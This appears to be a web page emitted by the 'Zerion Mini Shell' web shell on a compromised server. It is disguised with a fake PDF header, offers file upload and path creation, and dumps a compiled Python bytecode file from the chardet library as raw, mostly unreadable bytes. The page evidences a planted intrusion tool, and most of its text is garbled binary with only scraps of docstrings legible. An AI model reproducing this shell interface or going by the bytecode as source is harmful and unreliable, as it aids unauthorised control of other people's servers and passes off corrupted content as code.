%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/chardet/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/chardet/__pycache__/__init__.cpython-312.pyc

�

�d��
��ddlmZmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZmZgd	�Z	dd
eeefdede
fd
�Z		dd
eeefdededee
fd�Zy)�)�List�Union�)�CharSetGroupProber)�
CharSetProber)�
InputState)�
ResultDict)�UniversalDetector)�VERSION�__version__)r
�detect�
detect_allrr�byte_str�should_rename_legacy�returnc���t|t�s2t|t�stdt	|�����t|�}t|��}|j
|�|j�S)aV
    Detect the encoding of the given byte string.

    :param byte_str:     The byte sequence to examine.
    :type byte_str:      ``bytes`` or ``bytearray``
    :param should_rename_legacy:  Should we rename legacy encodings
                                  to their more modern equivalents?
    :type should_rename_legacy:   ``bool``
    �1Expected object of type bytes or bytearray, got: �r)�
isinstance�	bytearray�bytes�	TypeError�typer
�feed�close)rr�detectors   �2/usr/lib/python3/dist-packages/chardet/__init__.pyr
r
sd���h�	�*��(�E�*��C�D��N�CS�T��
��X�&�� �6J�K�H��M�M�(���>�>����ignore_thresholdc���t|t�s2t|t�stdt	|�����t|�}t|��}|j
|�|j�|jtjk(�rNg}g}|jD]F}t|t�r#|jd�|jD���6|j|��H|D]�}|s|j!�|j"kDs�#|j$xsd}|j'�}|j)d�r(|j*r|j,j/||�}|r*|j0j/|j'�|�}|j||j!�|j2d����t5|�dkDrt7|d��	�S|j8gS)
aD
    Detect all the possible encodings of the given byte string.

    :param byte_str:          The byte sequence to examine.
    :type byte_str:           ``bytes`` or ``bytearray``
    :param ignore_threshold:  Include encodings that are below
                              ``UniversalDetector.MINIMUM_THRESHOLD``
                              in results.
    :type ignore_threshold:   ``bool``
    :param should_rename_legacy:  Should we rename legacy encodings
                                  to their more modern equivalents?
    :type should_rename_legacy:   ``bool``
    rrc3� K�|]}|���y�w)N�)�.0�ps  r�	<genexpr>zdetect_all.<locals>.<genexpr>Ws����9�Q�q�9�s��ziso-8859)�encoding�
confidence�languagerc��|dS)Nr(r")�results r�<lambda>zdetect_all.<locals>.<lambda>qs��v�l�7K�6K�r)�key)rrrrrr
rr�input_stater�	HIGH_BYTE�charset_probersr�extend�probers�append�get_confidence�MINIMUM_THRESHOLD�charset_name�lower�
startswith�
has_win_bytes�ISO_WIN_MAP�get�
LEGACY_MAPr)�len�sortedr+)	rrrr�resultsr2�proberr6�lower_charset_names	         rrr5s���$�h�	�*��(�E�*��C�D��N�CS�T��
��X�&�� �6J�K�H��M�M�(���N�N�����z�3�3�3�$&��')���.�.�	'�F��&�"4�5����9�&�.�.�9�9����v�&�		'�
�	�F��6�#8�#8�#:�X�=W�=W�#W�%�2�2�8�b��%1�%7�%7�%9�"�&�0�0��<��AW�AW�#+�#7�#7�#;�#;�*�L�$�L�(�#+�#6�#6�#:�#:�$�*�*�,�l�$�L����$0�&,�&;�&;�&=�$*�O�O���	�,�w�<�!���'�'K�L�L��O�O��rN)F)FF)�typingrr�charsetgroupproberr�
charsetproberr�enumsr�
resultdictr	�universaldetectorr
�versionrr�__all__rr�boolr
rr"rr�<module>rKs���$�2�(��"�0�)�
Q��EJ���E�9�$�%��=A����2#�!&�>��E�9�$�%�>��>��>�
�*��	>r

Zerion Mini Shell 1.0